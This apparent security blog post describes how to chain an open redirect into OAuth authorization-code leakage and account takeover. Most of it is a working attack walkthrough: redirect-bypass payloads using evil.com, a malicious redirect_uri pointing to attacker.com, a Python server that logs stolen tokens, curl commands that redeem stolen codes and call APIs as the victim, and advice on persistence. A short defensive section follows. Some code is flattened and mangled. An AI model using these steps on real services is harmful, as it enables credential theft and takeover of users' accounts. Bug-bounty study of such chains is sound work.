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Introduction:
In the dynamic world of bug bounty hunting, a finding initially dismissed as “low-severity” can be the key to a catastrophic breach. A recent proof-of-concept demonstrates this stark reality, where a simple open redirect vulnerability was ingeniously chained to leak authentication tokens and culminate in a complete account takeover (ATO). This case study serves as a masterclass in vulnerability chaining and a critical reminder for security teams to reassess their threat models.
Learning Objectives:
- Understand the mechanics and inherent dangers of open redirect vulnerabilities beyond mere phishing.
- Learn how to exploit an open redirect to leak OAuth tokens or authorization codes via intercepted redirects.
- Master the methodology of chaining low-impact bugs to achieve high-severity impacts like Account Takeover.
You Should Know:
1. Reconnaissance and Identifying the Open Redirect
The first step is locating a parameter that unsafely controls a redirect destination. Common parameters include redirect, return, next, url, and target. The vulnerability exists when the application does not properly validate or whitelist the URLs these parameters point to.
Step‑by‑step guide:
Step 1: Parameter Fuzzing. Use automated tools or browser extensions to scan for all parameters in the application. For a targeted approach, manually inspect login, logout, and authentication callback pages.
Using ffuf to fuzz for redirect parameters ffuf -u "https://target.com/FUZZ" -w common_parameters.txt -fs 0
Step 2: Initial Testing. Once a parameter like ?next=https://google.com` is found, test it. A successful open redirect will immediately send your browser to the specified external site.@
Step 3: Bypassing Basic Defenses. If the app checks for a domain prefix, try techniques like:
Using:https://[email protected]`
Double URL encoding: `https%253A%252F%252Fevil.com`
Whitelist bypass: `https://target.com.evil.com`
2. From Redirect to Token Leakage
An open redirect within a critical flow, like OAuth authorization, is dangerous. The attacker can set the redirect URI to a domain they control, causing sensitive tokens to be delivered to them.
Step‑by‑step guide:
Step 1: Map the OAuth Flow. Identify the OAuth authorization endpoint and the parameter controlling the redirect_uri.
Step 2: Inject Your Domain. Replace the legitimate `redirect_uri` with your attacker-controlled domain, leveraging the open redirect if the app allows external URLs here, or by chaining it if validation is separate.
Legitimate: https://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=https://target.com/callback Malicious: https://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=https://target.com/redirect?next=https://attacker.com
Step 3: Capture the Token. When the victim authorizes the app, the authorization code (or in flawed implementations, the access token itself) is sent as a query parameter to attacker.com. You can log it using a simple web server.
Simple Python3 HTTP server to log requests
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
query = urllib.parse.urlparse(self.path).query
params = urllib.parse.parse_qs(query)
print(f"[+] Token Leaked: {params}")
self.send_response(302)
self.send_header('Location', 'https://target.com') Redirect victim
self.end_headers()
with HTTPServer(('0.0.0.0', 80), Handler) as server:
server.serve_forever()
3. Weaponizing the Token for Account Takeover
With a valid OAuth authorization code or token in hand, the final step is to use it to assume the victim’s identity.
Step‑by‑step guide:
Step 1: Exchange Code for Token. If you captured an authorization code, use it with the OAuth client’s secret (which may be public in mobile/desktop apps) to request an access token from the provider’s token endpoint.
curl -X POST https://provider.com/oauth/token \ -d 'client_id=CLIENT_ID' \ -d 'client_secret=CLIENT_SECRET' \ -d 'code=STOLEN_AUTHORIZATION_CODE' \ -d 'grant_type=authorization_code' \ -d 'redirect_uri=https://attacker.com'
Step 2: Authenticate as the Victim. Use the obtained access token to call the application’s API endpoints that return sensitive user data or perform authenticated actions.
curl -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" https://target.com/api/v1/me
Step 3: Maintain Persistence. Depending on the scope, you may be able to change the account’s email, password, or add secondary factors, securing persistent access.
4. Defensive Measures: Validating Redirects
The root cause is improper URL validation. Implement strict whitelist-based validation on the server-side.
Step‑by‑step guide:
Step 1: Create an Allow List. Maintain a server-side list of absolute URLs or paths that are permitted for redirection (e.g., ['/home', '/dashboard', '/']).
Step 2: Validate and Parse. Use a well-audited library to parse the user-supplied URL. Reject the request if the scheme is not `HTTP/HTTPS` or if the hostname does not exactly match the application’s canonical hostname.
Python example using urllib.parse and an allow list from urllib.parse import urlparse allowed_paths = ['/home', '/dashboard', '/profile'] def safe_redirect_url(input_url, default='/'): parsed = urlparse(input_url) If it's a relative path, check against allow list if not parsed.netloc: if parsed.path in allowed_paths: return parsed.path If it's an absolute URL, only allow if host matches ours elif parsed.netloc == 'target.com': return input_url return default
Step 3: Use Indirect Reference Maps. For maximum security, use a server-generated token or key to reference a redirect destination stored on the server, rather than passing the URL itself.
What Undercode Say:
- The Severity is in the Chain, Not the Component. No vulnerability exists in a vacuum. A flaw deemed “low” in isolation can be the perfect bridge between two other weaknesses, creating a critical path. Threat modeling must consider interaction.
- Context is Everything. An open redirect on a marketing page is less severe than one in the post-authentication or OAuth flow. Security assessments must weight impact based on the vulnerability’s location within the application architecture.
Prediction:
This exploit chain underscores a shifting landscape where automated scanners focusing on isolated CVSS scores will increasingly fail. Future offensive security will be dominated by hunters who can think in graphs, mapping and chaining multiple weak signals into a coherent attack path. Defensively, this will accelerate the adoption of “Secure by Design” principles that minimize trust in client-side input, and the rise of continuous threat modeling tools that can automatically simulate vulnerability interactions. Furthermore, platforms will enforce stricter OAuth 2.0 configurations, such as requiring exact matching for `redirect_uri` and short lifetimes for authorization codes, making such leakage attacks more difficult to execute.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Muhammad Qasiim – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
